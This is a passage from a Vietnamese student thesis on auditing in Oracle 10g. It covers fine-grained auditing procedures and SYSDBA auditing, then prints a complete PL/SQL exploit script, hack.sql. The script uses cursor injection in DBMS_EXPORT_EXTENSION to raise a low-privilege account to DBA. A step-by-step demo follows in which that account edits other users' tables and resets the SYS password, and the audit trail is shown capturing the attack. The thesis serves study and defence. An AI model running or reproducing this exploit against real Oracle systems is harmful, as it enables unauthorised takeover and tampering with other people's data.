Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

- handler_module => 'log_emps_salary'

Theo mặc định, Audit_trail luôn viết những văn bản SQL và SQL kết nối

thông tin đến LOBs. Các mặc định có thể được thay đổi (ví dụ, nếu hệ thống

bị suy giảm hiệu suất).

Kiểm toán DML statement :

- Bản ghi được kiểm toán nếu FGA là thỏa mãn và các cột có

- liên quan được tham chiếu.

- DELETE statement được kiểm toán không phân biệt bất kỳ

- quy định các cột.

- MERGE statement được kiểm toán với các cơ sở INSERT hoặc

UPDATE tạo ra các các statements.

Hình 2.10: Kiểm toán DML statement

Với một chính sách FGA định nghĩa cho DML statement, một DML

statement được kiểm toán nếu dữ liệu hàng (cả mới và cũ) được vận dụng đáp

ứng các chính sách tiêu chí xác định.

Tuy nhiên, nếu các cột có liên quan cũng được quy định trong định nghĩa

chính sách, statement đã được kiểm toán khi dữ liệu đáp ứng các FGA xác

định và statement tham chiếu đến các cột có liên quan xác định.

Đối với DELETE statements, xác định các cột có liên quan trong quá

trình định nghĩa chính sách là không hữu ích bởi vì tất cả các cột trong một

bảng đều bị ảnh hưởng trước một câu lệnh DELETE. Do đó, một DELETE

statement là luôn luôn được kiểm toán không phụ thuộc vào các cột liên quan.

MERGE statement được hỗ trợ bởi FGA. Các INSERT, UPDATE

statement cơ bản được kiểm toán nếu đáp ứng bất kỳ chính sách INSERT

hoặc UPDATE FGA

Lớp AT3C - 81 - Cao Thị Hồng Thúy

Page 82: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Sử dụng chính sách FGA đã xác định trước, Statement đầu tiên được

kiểm toán trong khi Statement thứ hai thì chưa.

2.3.4.2.2. Các thủ tục khác chỉ trạng thái (Status).

ENABLE_POLICY Procedure : Thủ tục này cho phép kích hoạt

một chính sách kiểm toán

Cú pháp :

DBMS_FGA.ENABLE_POLICY(

object_schema VARCHAR2,

object_name VARCHAR2,

policy_name VARCHAR2,

enable BOOLEAN);

DISABLE_POLICY Procedure : Thủ tục này cho phép hủy bỏ

kích hoạt một chính sách kiểm toán

Cú pháp :

DBMS_FGA.DISABLE_POLICY(

object_schema VARCHAR2,

object_name VARCHAR2,

policy_name VARCHAR2 );

DROP_POLICY Procedure : Thủ tục này cho phép xóa một chính

sách kiểm toán

Cú pháp :

DBMS_FGA.DROP_POLICY(

object_schema VARCHAR2,

object_name VARCHAR2,

policy_name VARCHAR2 );

Trong ví dụ trên trạng thái cho thấy các chính sách FGA được kích hoạt

và đối số kích hoạt các chính sách: enable => TRUE

Lớp AT3C - 82 - Cao Thị Hồng Thúy

Page 83: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

2.3.4.3. FGA Guidelines (Hướng dẫn sử dụng FGA).

Để kiểm toán tất cả các statement, sử dụng một điều kiện vô giá

trị.

Tên chính sách phải là duy nhất.

Bảng hoặc khung nhìn được kiểm toán đã phải tồn tại khi tạo ra

các chính sách.

Nếu cú pháp điều kiện kiểm toán là không hợp lệ, một. Lỗi

ORA28112 được nâng lên khi các đối tượng được kiểm toán được

truy cập.

Nếu các cột được kiểm toán không tồn tại trong bảng thì sẽ không

có hàng được kiểm toán.

Nếu xử lý sự kiện không tồn tại, không có lỗi trả về và các bản ghi

kiểm toán vẫn được tạo ra.

Các giá trị kiểm toán được được tạo và lưu tại

DBA_FGA_AUDIT_TRAIL (bảng sys.fga_log$ ). Để xem các

hành động được liểm toán ta dùng câu lệnh :

Select *(hoặc các trường cần xem) from DBA_FGA_AUDIT_TRAIL;

Đối với các SELECT satement, FGA ghi lại các statement của chính nó,

và không phải là các hàng (row) thực tế.

Tuy nhiên, khi FGA được kết hợp với Flashback Query, các hàng có thể

được tái tạo như chúng đã tồn tại ở thời điểm trước đó.

2.3.4.4. Một Số Hạn Chế Của FGA.

Bản ghi FGA cho thấy cả hai hoạt động đã được thực hiện và cố gắng

có những thành công hay không.Điều này có thể là một chi phí cho quản trị

viên. Có lẽ DBA không muốn xem kiểm toán DML (Chèn, cập nhật, xóa)

statement đã được 'Phục hồi' của người dùng. Trong tình huống như vậy,

trigger có thể là một lựa chọn khả thi nhất.

2.3.5. DBA Auditing.

Lớp AT3C - 83 - Cao Thị Hồng Thúy

Page 84: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

2.3.5.1. Khởi tạo kiểm toán.

Các cơ sở dữ liệu Oracle tự động bắt các sự kiện đăng nhập của người

dùng SYSDBA và SYSOPER . Điều này cung cấp một cách có giá trị để theo

dõi các hành động trái phép có thẩm quyền của SYSDBA và SYSOPER,

nhưng nó chỉ có ích nếu các dấu vết là OS audit trail được xem xét lại

Các cơ sở dữ liệu Oracle chỉ bắt những sự kiện đăng nhập trừ khi kiểm

toán là kích hoạt cụ thể. Kích hoạt tính năng kiểm toán của SYSDBA và

SYSOPER người dùng bằng cách thiết lập những tham số:

audit_sys_operations=TRUE (The default is FALSE.)

Người dùng với đặc quyền SYSDBA hoặc SYSOPER có thể kết

nối khi cơ sở dữ liệu đã bị đóng lại.

Audit trail phải được lưu trữ bên ngoài cơ sở dữ liệu.

Các kết nối như là SYSDBA hoặc SYSOPER luôn được kiểm

toán.

Có thể cho phép kiểm toán bổ sung hành động của SYSDBA hoặc

SYSOPER với audit_sys_operations.

Có thể kiểm soát các Audit trail với audit_file_dest.

Những người dùng SYSDBA và SYSOPER có quyền khởi động và tắt

các cơ sở dữ liệu.Bởi vì họ có thể thay đổi trong khi cơ sở dữ liệu được đóng

lại, các Audit trail cho các đặc quyền phải được lưu trữ bên ngoài cơ sở dữ

liệu.

2.3.5.2. Xem kiểm toán.

Nếu các hoạt động SYS được kiểm toán, sau đó các tham số khởi tạo

audit_file_dest điều khiển vị trí lưu trữ của các hồ sơ kiểm toán. Trên nền

tảng Windows, các audit trail mặc định các bản ghi sự kiện Windows. Trên

nền tảng UNIX hay Linux, bản ghi kiểm toán được lưu trữ trong

$ORACLE_HOME / RDBMS / kiểm toán.

Lớp AT3C - 84 - Cao Thị Hồng Thúy

Page 85: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Chương 3

DEMO CHÈN MÃ SQL, PL/SQL NÂNG QUYỀN DBA VỚI

DBMS_EXPORT_EXTENSION TRONG ORACLE 10G

Trong lĩnh vực bảo mật thông tin, kỹ thuật chèn mã SQL khá phổ biến

đối với những người quan tâm về bảo mật, và ở Việt Nam kỹ thuật này

thường được ứng dụng cho những Cơ sở dữ liệu đơn giản, ít được sử dụng tại

các doanh nghiệp lớn như SQL Server, MySQL. Vì lý do này, tính nguy hiểm

của chèn mã SQL vẫn chưa được đánh giá đúng mức tại Việt Nam. Đối với

Lớp AT3C - 85 - Cao Thị Hồng Thúy

Page 86: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Cơ sở dữ liệu Oracle (Oracle Database), kỹ thuật này được biến đổi khá đa

dạng và nguy hiểm, cho phép một tài khoản với quyền hạn thấp có thể tùy

biến nâng, đoạt được quyền quản trị DBA theo nhiều cách khác nhau, giúp tin

tặc có thể điều khiển toàn hệ thống máy chủ Oracle. Bài viết này sẽ minh họa

mã khai thác điểm yếu chèn mã SQL, PL/SQL đối với gói lệnh sẵn có

DBMS_EXPORT_EXTENSION.

Gói lệnh sẵn có DBMS_EXPORT_EXTENSION của Oracle Database,

mặc định cho phép bất kì tài khoản nào trong Oracle cũng có thể truy cập.

3.1. KỊCH BẢN DEMO.

Để minh họa kỹ thuật chèn mã vào gói DBMS_METADATA, chúng ta

sẽ dùng File mã lệnh hack.sql : File lệnh này sử dụng kỹ thuật chèn mã con

trỏ nên cho phép một tài khoản bất kì chỉ có quyền CREATE SESSION có

thể nâng quyền thành DBA.

Sau đây là mã code của file hack.sql

whenever sqlerror exit rollback

set feed on

set head on

set arraysize 1

set space 1

set verify off

set pages 25

set lines 80

set termout on

clear screen

set serveroutput on size 1000000

spool dbms_exp_ext_c.lis

undefine user_name

undefine grant_revoke

set feed off

col system_date noprint new_value val_system_date

select to_char(sysdate,'Dy Mon dd hh24:mi:ss yyyy') system_date from

sys.dual;

prompt check_ora_sql_injection: Release 1.0 - Production on

&val_system_date

set feed on

prompt

Lớp AT3C - 86 - Cao Thị Hồng Thúy

Page 87: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

accept user_name char prompt 'USERNAME TO CHECK

[HONGTHUY]: ' default HONGTHUY

accept grant_revoke char prompt 'PRIVS CONTROL [G]rant/[R]evoke

[G]: ' default G

prompt

declare

--

lv_grant_revoke varchar2(1) := 'G';

lv_sqlcmd varchar2(1000):= 'GRANT ALL PRIVILEGE, DBA TO ' ||

upper('&&user_name');

lv_evil_cursor varchar2(1000);

lv_cursor_output varchar2(100);

lv_nol number := 2;

lv_cursor_number varchar2(10);

lv_exec_cursor varchar2(1000);

lv_run_inject_cursor varchar2(1000);

lv_evil_function varchar2(1000);

lv_run_evil_function varchar2(1000);

lv_DBA number := 0;

--

function isDBA return varchar2 is

lv_DBA varchar2(1) := '0';

begin

select '1' INTO lv_DBA from user_role_privs where

granted_role='DBA';

return lv_DBA;

exception when others then

return lv_DBA;

end;

begin

dbms_output.enable(1000000);

lv_grant_revoke:=upper('&&grant_revoke');

if lv_grant_revoke='R' then

dbms_output.put_line('--- REVOKING DBA FROM '||

upper('&&user_name')||'...');

lv_sqlcmd := 'REVOKE ALL PRIVILEGE, DBA FROM ' ||

upper('&&user_name');

execute immediate lv_sqlcmd;

dbms_output.put_line('--- DONE!');

return;

end if;

--------------------------------------------------------------

-----------------

--DBMS_EXPORT_EXTENSION

--------------------------------------------------------------

-----------------

Lớp AT3C - 87 - Cao Thị Hồng Thúy

Page 88: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

lv_evil_cursor := 'DECLARE MYC_PKG_1 NUMBER;'||

'BEGIN MYC_PKG_1 := DBMS_SQL.OPEN_CURSOR; ' ||

'DBMS_SQL.PARSE(MYC_PKG_1,'''||

'CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID

CURRENT_USER '||

'IS FUNCTION ODCIIndexGetMetadata (a

SYS.odciindexinfo, ' ||

'b VARCHAR2,c VARCHAR2, d SYS.odcienv) RETURN

NUMBER; END;'',0); '||

'DBMS_OUTPUT.PUT_LINE(''Cursor1 ''||MYC_PKG_1);

END;';

--insert into app_log values(sysdate,lv_evil_cursor); commit;

execute immediate lv_evil_cursor;

lv_evil_cursor := 'DECLARE MYC_PKG_2 NUMBER;'||

'BEGIN MYC_PKG_2 := DBMS_SQL.OPEN_CURSOR;' ||

'DBMS_SQL.PARSE(MYC_PKG_2,'''||

'CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS

'||

'FUNCTION ODCIIndexGetMetadata (a

SYS.odciindexinfo, b VARCHAR2,'||

'c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS

'||

'PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE

IMMEDIATE ''''' ||

lv_sqlcmd ||''''';'||' COMMIT; RETURN(1);

END;END;'',0); '||

'DBMS_OUTPUT.PUT_LINE(''Cursor2 ''||

MYC_PKG_2); END;';

---insert into app_log values(sysdate,lv_evil_cursor); commit;

execute immediate lv_evil_cursor;

dbms_output.put_line('--- CHECK CURSOR INJECTION');

begin

lv_run_inject_cursor := 'DECLARE PLS PLS_INTEGER; '||

'RET VARCHAR2(200);BEGIN RET := '||

'SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADA

TA(''A'',''' ||

upper('&&user_name')||''',''BUNKERPKG'','''||

upper('&&user_name')||''','''',PLS,0);END;';

--insert into app_log values(sysdate,lv_run_inject_cursor);

commit;

execute immediate lv_run_inject_cursor;

exception when others then

null;

end;

Lớp AT3C - 88 - Cao Thị Hồng Thúy

Page 89: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

if isDBA='1' then

dbms_output.put_line('--- THUY dai ka ^^ GOT THE DBA!!');

return;

end if;

exception

when others then

dbms_output.put_line('ERROR: '||sqlcode);

dbms_output.put_line('MSG: '||sqlerrm);

end;

/

spool off

whenever sqlerror continue

Tài khoản SYS đăng nhập cơ sở dữ liệu với tài khoản và pass

SYS/abcd1234. Sau đó :

Tạo một bảng MUCLUONG và chèn dữ liệu vào bảng

Tạo 2 user GIAOVU và HONGTHUY

Gán quyền CONNECT ,CREATE TABLE, CREATE

PROCEDURE cho 2 user

Dùng câu lệnh Audit để kiểm soát tất cả những hành động của 2

user

User GIAOVU kết nối vào database và tạo một bảng có tên DIEM và

chèn dữ liệu vào bảng

Kết nối database với User HONGTHUY. Sau đó thực hiện File mã lệnh

@hack.sql để nâng quyền tài khoản HONGTHUY thành DBA

Sau đó User HONGTHUY sẽ tiến hành sửa đổi cơ sở dữ liệu với quyền

DBA

Sửa đổi các thông số trong bảng DIEM của user GIAOVU

Sửa đôi thông số trong bản mức lương của user SYS nhưng không

đủ thầm quyền. Ta cần kết nối với database bằng chính user SYS.

Vậy nên ta dùng câu lệnh ALTER user để đổi pass của user SYS

và đăng nhập với quyền SYS và thay đổi thông số của bảng

MUCLUONG thành công.

Như vậy user HONGTHUY có thể thay đổi toàn bộ cơ sở dữ liệu.

Lớp AT3C - 89 - Cao Thị Hồng Thúy

Page 90: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Để gỡ quyền SYS ta thực hiện lại mã lệnh như ban đầu.

3.2. QUY MÔ DEMO.

Bước 1 : SYS kết nối vào cơ sở dữ liệu với ID/PASS :

SYS/abcd1234.Sau đó :

- Kích hoạt tính năng kiểm toán.

- Khởi động lại cơ sở dữ liệu.

- Tạo user HONGTHUY/pass

Hình 3.1: Tạo User HONGTHUY

- Tạo User GIAOVU

Lớp AT3C - 90 - Cao Thị Hồng Thúy

Page 91: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.2: Tạo User GIAOVU

Bước 2 : Gán quyền và kiểm toán các hành động của 2 user.

Hình 3.3: Gán quyền và kiểm toán 2 user

Bước 3 : SYS tạo một bảng dữ liệu là NHANSU (Ten,Mucluong)

Lớp AT3C - 91 - Cao Thị Hồng Thúy

Page 92: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.4 SYS tạo bảng dữ liệu nhân sự

Bước 4:

Kết nối cơ sở dữ liệu bằng user: GIAOVU.

Tạo bảng dữ liệu DIEM (Sinhvien, diem)

Chèn dữ liệu vào bảng

Hình 3.5: User GIAOVU tạo bảng DIEM

Bước 5 : Từ màn hình cmd kết nối User HONGTHUY vào database

bằng câu lệnh: sqlplus hongthuy/password

Lớp AT3C - 92 - Cao Thị Hồng Thúy

Page 93: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.6: User HONGTHUY kết nối vào database

Bước 6 : View quyền của HONGTHUY chỉ có quyền connect

Hình 3.7: Show bảng dữ liệu

Bước 7 : Thực hiện file mã lệnh @hack

Lớp AT3C - 93 - Cao Thị Hồng Thúy

Page 94: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.8: Thực hiện file mã lệnh @hack

Hình 3.9: User HONGTHUY nâng được thành quyền SYS

Lớp AT3C - 94 - Cao Thị Hồng Thúy

Page 95: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.10 : Kiểm tra lại quyền của HONGTHUY khi đã được nâng lên SYS

Bước 8: User HONGTHUY sửa đổi dữ liệu trong bảng GIAOVU.DIEM

Hình 3.11: User HONGTHUY sửa đổi dữ liệu trong bảng GIAOVU.DIEM

Bước 9 : Sửa đổi dữ liệu của User SYS

Lớp AT3C - 95 - Cao Thị Hồng Thúy

Page 96: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.12: User HONGTHUY chưa đủ quyền sửa dữ liệu của SYS

Hình 3.13: Dùng câu lệnh Alter user để sửa pass của SYS thành hongthuy

Lớp AT3C - 96 - Cao Thị Hồng Thúy

Page 97: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.14: kết nối database bằng user SYS/hongthuy và sửa đổi bảng

NHANSU

Bước 10: Dùng câu lệnh Select * from dba_audit_trail để xem kiểm toán

Lớp AT3C - 97 - Cao Thị Hồng Thúy

Page 98: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.15: kết nối database bằng user SYS/hongthuy và sửa đổi bảng

NHANSU

3.3. KẾT QUẢ ĐẠT ĐƯỢC.

Sau khi tấn công user HONGTHUY là một user bình thường chỉ có

quyền CONNECT đã leo thang thành DBA, và đã sửa được dữ liệu của các

user khác. Không những thế user HONGTHUY đã đổi pass của user SYS để

sửa đổi dữ liệu của SYS và cả hệ thống.

Ta đã sử dụng kiểm toán standard database auditing để ghi lại được mọi

hành động tấn công leo thang đặc quyền của user HONGTHUY.Bao gồm

ngày giờ tấn công, hành động tấn công, đối tượng bị tấn công.

Trong thực tế khi có kẻ tấn công tương tự như trên, nhờ những bản ghi

kiểm toán mà ta có thể phát hiện và ngăn chặn kịp thời giảm thiểu tối đa các

thiệt hại.

Chương 4

KẾT LUẬN

4.1. KẾT QUẢ ĐẠT ĐƯỢC.

Sau một thời gian tìm hiểu, nghiên cứu, đề tài của em đã đạt được một số

kết quả sau:

Nội dung của đề tài đã phần nào khái quát được những ưu điểm nổi trội

của Oracle 10g về kiến trúc, quản trị và bảo mật.

Đặc biệt là đã đi sâu vào tìm hiểu chức năng cũng như phương thức hoạt

động của các loại kiểm toán trong Oracle 10g.Không những thế còn thấy

được tầm quan trọng của kiểm toán trong việc bảo vệ dữ liệu.

Lớp AT3C - 98 - Cao Thị Hồng Thúy

Page 99: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Đồng thời em cũng đi vào xây dựng một tấn công nâng quyền cho một

user bình thường thành quyền SYS và kiểm toán đã thực hiện tốt chức năng

lưu lại dấu vết.

4.2. HẠN CHẾ.

Bên cạnh những kết quả đạt được đề tài của em vẫn còn một số hạn chế

là trong phần demo kiểm toán mới chỉ phát hiện được tấn công sau khi xem

kiểm toán

Kiểm toán chỉ lưu được hành động tấn công vào cơ sở dữ liệu là hành

động gì, nhưng không biết được chi tiết hành động như thế nào.

4.3. HƯỚNG PHÁT TRIỂN.

Từ kết quả nghiên cứu của đề tài và từ những hạn chế trên, em muốn đặt

ra những vấn đề mới và những định hướng phát triển mới của đề tài trong

tương lai đó là:

Về chu trình kiểm toán trong demo sẽ tạo một trigger để kiểm toán có

thể lưu lại được chi tiết hành động tấn công giúp DBA có thể dễ dàng khôi

phục lại cơ sở dữ liệu đã bị xâm phạm

Đi sâu vào nghiên cứu Oracle Audit Vault (Oracle kiểm toán kho quỹ)

Oracle Audit Vault là một giải pháp mang tính hiệu quả cao nhằm củng

cố, phát hiện, theo dõi, cảnh báo và báo cáo về số liệu kiểm toán để kiểm toán

bảo mật và tuân thủ các chính sách bảo mật. Oracle Audit Vault cung cấp khả

năng hợp nhất dữ liệu và các sự kiện quan trọng từ các hệ thống khác nhau

như cơ sở dữ liệu, máy chủ ứng dụng, ứng dụng, và hệ điều hành vào một kho

quản lý bảo mật tập trung.

Củng cố và kiểm toán an toàn dữ liệu

- Oracle 9i Release 2 và cao hơn

- SQL Server 2000, 2005

- IBM DB2 UDB 8,5 và 9,2

- Sybase ASE 12,5-15,0

- Bảo mật và khả năng mở rộng

- Làm sạch nguồn dữ liệu Oracle kiểm toán

4.4. ĐỀ XUẤT.

Lớp AT3C - 99 - Cao Thị Hồng Thúy

Page 100: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Kiểm toán là một phần không thể thiếu trong lĩnh vực bảo mật cơ sở dữ

liệu. Nhưng bên cạnh những ưu điểm thì kiểm toán vẫn tồn tại những nhược

điểm nếu như không kiểm toán đúng mức sẽ gây ra giảm hiệu suất của hệ

thống và tăng lượng lưu trữ các bản ghi không cần thiết gây ra lãng phí tài

nguyên.

Song song với cơ chế kiểm toán để bảo đảm an toàn tối đa cần sử dụng

các công cụ kết hợp như IDS và IPS như là GreenSQL, AppDetective… để

sớm phát hiện và ngăn chặn những tấn công làm tổn hại cơ sở dữ liệu.

Khi sử dụng Oracle 10g người dùng cũng cần chú ý một số vấn đề như:

Môi trường điện toán mạng lưới mới có thể rất khó cho người

quản trị nếu sử dụng các công cụ quản trị truyền thống

Không sử dụng mật khẩu mặc định của hệ thống để đảm bảo an

toàn cho sữ liệu truy cập.

Thường xuyên cập nhật những bản vá lỗi của Oracle.

Cuối cùng em xin chân thành cám ơn quý thầy cô khoa công nghệ thông

tin Học Viện Kĩ Thuật Mật Mã đã nhiệt tình giảng dạy và truyền đạt những

kiến thức bổ ích cho em.Và đặc biệt là Cô giáo Trần Thị Lượng đã bỏ ra rất

nhiếu tâm huyết hướng dẫn em hoàn thành đồ án này.

Lớp AT3C - 100 - Cao Thị Hồng Thúy

Page 101: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

TÀI LIỆU THAM KHẢO

[1] http://vnoug.org/viewtopic

[2] http://www.oracle-base.com/articles/10g/Auditing_10gR2.php

[3] http://download.oracle.com

[4] http://www.kmasecurity.net

[5] http://www.oravn.com

[6] http://download.oracle.com/docs/

Lớp AT3C - 101 - Cao Thị Hồng Thúy